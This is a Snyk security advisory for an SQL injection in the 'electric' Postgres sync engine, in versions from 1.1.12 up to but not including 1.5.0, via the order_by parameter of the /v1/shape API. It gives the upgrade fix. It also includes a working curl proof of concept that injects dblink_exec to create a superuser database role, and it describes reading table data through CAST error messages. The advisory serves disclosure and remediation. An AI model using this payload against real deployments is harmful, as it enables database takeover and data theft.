SQL Injection Affecting electric package, versions >=1.1.12 <1.5.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.03% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-HEX-ELECTRIC-16638691
  • published11 May 2026
  • disclosed22 Apr 2026
  • creditIan Saultz

Introduced: 22 Apr 2026

CVE-2026-40906  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade electric to version 1.5.0 or higher.

Overview

electric is a Postgres sync engine.

Affected versions of this package are vulnerable to SQL Injection via the order_by parameter in the /v1/shape API, which is passed in to the Parser.validate_order_by function in parser.ex. This function accepts input including a wildcard that matches an AST node of any type, including executable ones. As a result, an authenticated user can read table data by injecting CAST((SELECT ...) AS int) and exposing table contents in the resulting error, or modify and delete arbitrary database contents by injecting DML into the cast() statement with dblink_exec().

PoC

curl -X POST "https://<electric-sync-host>/v1/shapes?table=<table_name>&log=changes_only&offset=now" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <valid_auth_token>" \
  -d '{
    "where": "\"archived\" = $1",
    "params": {"1": "false"},
    "order_by": "CAST((dblink_exec('dbname=electric', 'CREATE ROLE attacker WITH SUPERUSER LOGIN PASSWORD ''password''')) AS int) DESC"
  }'

CVSS Base Scores

version 4.0
version 3.1